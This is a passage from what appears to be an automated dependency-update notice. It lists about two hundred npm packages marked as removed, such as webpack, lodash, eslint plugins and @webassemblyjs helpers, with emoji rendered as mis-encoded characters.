๐Ÿ—‘๏ธ @โ€‹webassemblyjs/helper-buffer (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/helper-numbers (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/helper-wasm-bytecode (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/helper-wasm-section (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/ieee754 (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/leb128 (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/utf8 (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/wasm-edit (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/wasm-gen (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/wasm-opt (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/wasm-parser (removed)

๐Ÿ—‘๏ธ @โ€‹webassemblyjs/wast-printer (removed)

๐Ÿ—‘๏ธ @โ€‹xtuc/ieee754 (removed)

๐Ÿ—‘๏ธ @โ€‹xtuc/long (removed)

๐Ÿ—‘๏ธ ajv-keywords (removed)

๐Ÿ—‘๏ธ ansi-colors (removed)

๐Ÿ—‘๏ธ ansi-styles (removed)

๐Ÿ—‘๏ธ array-find (removed)

๐Ÿ—‘๏ธ array-includes (removed)

๐Ÿ—‘๏ธ array-union (removed)

๐Ÿ—‘๏ธ array.prototype.flat (removed)

๐Ÿ—‘๏ธ astral-regex (removed)

๐Ÿ—‘๏ธ axios (removed)

๐Ÿ—‘๏ธ buf-compare (removed)

๐Ÿ—‘๏ธ buffer-from (removed)

๐Ÿ—‘๏ธ call-bind (removed)

๐Ÿ—‘๏ธ camelcase (removed)

๐Ÿ—‘๏ธ camelcase-keys (removed)

๐Ÿ—‘๏ธ chrome-trace-event (removed)

๐Ÿ—‘๏ธ clean-regexp (removed)

๐Ÿ—‘๏ธ color-convert (removed)

๐Ÿ—‘๏ธ color-name (removed)

๐Ÿ—‘๏ธ colorette (removed)

๐Ÿ—‘๏ธ commondir (removed)

๐Ÿ—‘๏ธ concat-map (removed)

๐Ÿ—‘๏ธ convert-source-map (removed)

๐Ÿ—‘๏ธ core-assert (removed)

๐Ÿ—‘๏ธ decamelize (removed)

๐Ÿ—‘๏ธ decamelize-keys (removed)

๐Ÿ—‘๏ธ deep-strict-equal (removed)

๐Ÿ—‘๏ธ define-properties (removed)

๐Ÿ—‘๏ธ dir-glob (removed)

๐Ÿ—‘๏ธ doctrine (removed)

๐Ÿ—‘๏ธ emoji-regex (removed)

๐Ÿ—‘๏ธ enhance-visitors (removed)

๐Ÿ—‘๏ธ enquirer (removed)

๐Ÿ—‘๏ธ es-abstract (removed)

๐Ÿ—‘๏ธ es-module-lexer (removed)

๐Ÿ—‘๏ธ es-to-primitive (removed)

๐Ÿ—‘๏ธ eslint-config-xo-typescript (removed)

๐Ÿ—‘๏ธ eslint-import-resolver-node (removed)

๐Ÿ—‘๏ธ eslint-import-resolver-webpack (removed)

๐Ÿ—‘๏ธ eslint-module-utils (removed)

๐Ÿ—‘๏ธ eslint-plugin-es (removed)

๐Ÿ—‘๏ธ eslint-plugin-eslint-comments (removed)

๐Ÿ—‘๏ธ eslint-plugin-import (removed)

๐Ÿ—‘๏ธ eslint-plugin-no-use-extend-native (removed)

๐Ÿ—‘๏ธ eslint-plugin-node (removed)

๐Ÿ—‘๏ธ eslint-plugin-promise (removed)

๐Ÿ—‘๏ธ eslint-template-visitor (removed)

๐Ÿ—‘๏ธ eslint-utils (removed)

๐Ÿ—‘๏ธ esm-utils (removed)

๐Ÿ—‘๏ธ esprima (removed)

๐Ÿ—‘๏ธ events (removed)

๐Ÿ—‘๏ธ find-cache-dir (removed)

๐Ÿ—‘๏ธ find-root (removed)

๐Ÿ—‘๏ธ follow-redirects (removed)

๐Ÿ—‘๏ธ fs-extra (removed)

๐Ÿ—‘๏ธ fs.realpath (removed)

๐Ÿ—‘๏ธ function-bind (removed)

๐Ÿ—‘๏ธ functional-red-black-tree (removed)

๐Ÿ—‘๏ธ gensync (removed)

๐Ÿ—‘๏ธ get-intrinsic (removed)

๐Ÿ—‘๏ธ get-set-props (removed)

๐Ÿ—‘๏ธ glob (removed)

๐Ÿ—‘๏ธ hard-rejection (removed)

๐Ÿ—‘๏ธ has (removed)

๐Ÿ—‘๏ธ has-bigints (removed)

๐Ÿ—‘๏ธ has-symbols (removed)

๐Ÿ—‘๏ธ has-tostringtag (removed)

๐Ÿ—‘๏ธ hosted-git-info (removed)

๐Ÿ—‘๏ธ import-modules (removed)

๐Ÿ—‘๏ธ inflight (removed)

๐Ÿ—‘๏ธ inherits (removed)

๐Ÿ—‘๏ธ internal-slot (removed)

๐Ÿ—‘๏ธ interpret (removed)

๐Ÿ—‘๏ธ is-absolute (removed)

๐Ÿ—‘๏ธ is-bigint (removed)

๐Ÿ—‘๏ธ is-boolean-object (removed)

๐Ÿ—‘๏ธ is-callable (removed)

๐Ÿ—‘๏ธ is-core-module (removed)

๐Ÿ—‘๏ธ is-date-object (removed)

๐Ÿ—‘๏ธ is-error (removed)

๐Ÿ—‘๏ธ is-fullwidth-code-point (removed)

๐Ÿ—‘๏ธ is-get-set-prop (removed)

๐Ÿ—‘๏ธ is-js-type (removed)

๐Ÿ—‘๏ธ is-negated-glob (removed)

๐Ÿ—‘๏ธ is-negative-zero (removed)

๐Ÿ—‘๏ธ is-number-object (removed)

๐Ÿ—‘๏ธ is-obj-prop (removed)

๐Ÿ—‘๏ธ is-proto-prop (removed)

๐Ÿ—‘๏ธ is-regex (removed)

๐Ÿ—‘๏ธ is-relative (removed)

๐Ÿ—‘๏ธ is-string (removed)

๐Ÿ—‘๏ธ is-symbol (removed)

๐Ÿ—‘๏ธ is-unc-path (removed)

๐Ÿ—‘๏ธ is-windows (removed)

๐Ÿ—‘๏ธ jest-worker (removed)

๐Ÿ—‘๏ธ js-types (removed)

๐Ÿ—‘๏ธ json-parse-better-errors (removed)

๐Ÿ—‘๏ธ json5 (removed)

๐Ÿ—‘๏ธ jsonfile (removed)

๐Ÿ—‘๏ธ kind-of (removed)

๐Ÿ—‘๏ธ load-json-file (removed)

๐Ÿ—‘๏ธ loader-runner (removed)

๐Ÿ—‘๏ธ lodash (removed)

๐Ÿ—‘๏ธ lodash-es (removed)

๐Ÿ—‘๏ธ lodash.clonedeep (removed)

๐Ÿ—‘๏ธ lodash.merge (removed)

๐Ÿ—‘๏ธ lodash.truncate (removed)

๐Ÿ—‘๏ธ lowercase-keys (removed)

๐Ÿ—‘๏ธ lru-cache (removed)

๐Ÿ—‘๏ธ make-dir (removed)

๐Ÿ—‘๏ธ map-obj (removed)

๐Ÿ—‘๏ธ memory-fs (removed)

๐Ÿ—‘๏ธ merge-stream (removed)

๐Ÿ—‘๏ธ mimic-fn (removed)

๐Ÿ—‘๏ธ min-indent (removed)

๐Ÿ—‘๏ธ minimist (removed)

๐Ÿ—‘๏ธ minimist-options (removed)

๐Ÿ—‘๏ธ multimap (removed)

๐Ÿ—‘๏ธ neo-async (removed)

๐Ÿ—‘๏ธ normalize-package-data (removed)

๐Ÿ—‘๏ธ obj-props (removed)

๐Ÿ—‘๏ธ object-inspect (removed)

๐Ÿ—‘๏ธ object-keys (removed)

๐Ÿ—‘๏ธ object.assign (removed)

๐Ÿ—‘๏ธ object.values (removed)

๐Ÿ—‘๏ธ once (removed)

๐Ÿ—‘๏ธ onetime (removed)

๐Ÿ—‘๏ธ p-try (removed)

๐Ÿ—‘๏ธ path-is-absolute (removed)

๐Ÿ—‘๏ธ path-parse (removed)

๐Ÿ—‘๏ธ path-type (removed)

๐Ÿ—‘๏ธ pkg-up (removed)

๐Ÿ—‘๏ธ progress (removed)

๐Ÿ—‘๏ธ proto-props (removed)

๐Ÿ—‘๏ธ quick-lru (removed)

๐Ÿ—‘๏ธ randombytes (removed)

๐Ÿ—‘๏ธ read-pkg (removed)

๐Ÿ—‘๏ธ read-pkg-up (removed)

๐Ÿ—‘๏ธ redent (removed)

๐Ÿ—‘๏ธ regexp-tree (removed)

๐Ÿ—‘๏ธ regexpp (removed)

๐Ÿ—‘๏ธ require-from-string (removed)

๐Ÿ—‘๏ธ resolve (removed)

๐Ÿ—‘๏ธ rimraf (removed)

๐Ÿ—‘๏ธ safe-regex (removed)

๐Ÿ—‘๏ธ schema-utils (removed)

๐Ÿ—‘๏ธ serialize-javascript (removed)

๐Ÿ—‘๏ธ side-channel (removed)

๐Ÿ—‘๏ธ slice-ansi (removed)

๐Ÿ—‘๏ธ source-map (removed)

๐Ÿ—‘๏ธ source-map-support (removed)

๐Ÿ—‘๏ธ spdx-correct (removed)

๐Ÿ—‘๏ธ sprintf-js (removed)

๐Ÿ—‘๏ธ string.prototype.trimend (removed)

๐Ÿ—‘๏ธ string.prototype.trimstart (removed)

๐Ÿ—‘๏ธ strip-bom (removed)

๐Ÿ—‘๏ธ strip-json-comments (removed)

๐Ÿ—‘๏ธ table (removed)

๐Ÿ—‘๏ธ terser (removed)

๐Ÿ—‘๏ธ terser-webpack-plugin (removed)

๐Ÿ—‘๏ธ text-table (removed)

๐Ÿ—‘๏ธ to-absolute-glob (removed)

๐Ÿ—‘๏ธ to-fast-properties (removed)

๐Ÿ—‘๏ธ trim-newlines (removed)

๐Ÿ—‘๏ธ tsconfig-paths (removed)

๐Ÿ—‘๏ธ tsutils (removed)

๐Ÿ—‘๏ธ unbox-primitive (removed)

๐Ÿ—‘๏ธ unc-path-regex (removed)

๐Ÿ—‘๏ธ universalify (removed)

๐Ÿ—‘๏ธ v8-compile-cache (removed)

๐Ÿ—‘๏ธ validate-npm-package-license (removed)

๐Ÿ—‘๏ธ watchpack (removed)

๐Ÿ—‘๏ธ webpack (removed)

๐Ÿ—‘๏ธ webpack-sources (removed)

๐Ÿ—‘๏ธ which-boxed-primitive (removed)

๐Ÿ—‘๏ธ wrappy (removed)

๐Ÿ—‘๏ธ yallist (removed)

๐Ÿ—‘๏ธ yaml (removed)

๐Ÿ—‘๏ธ yargs-parser (removed)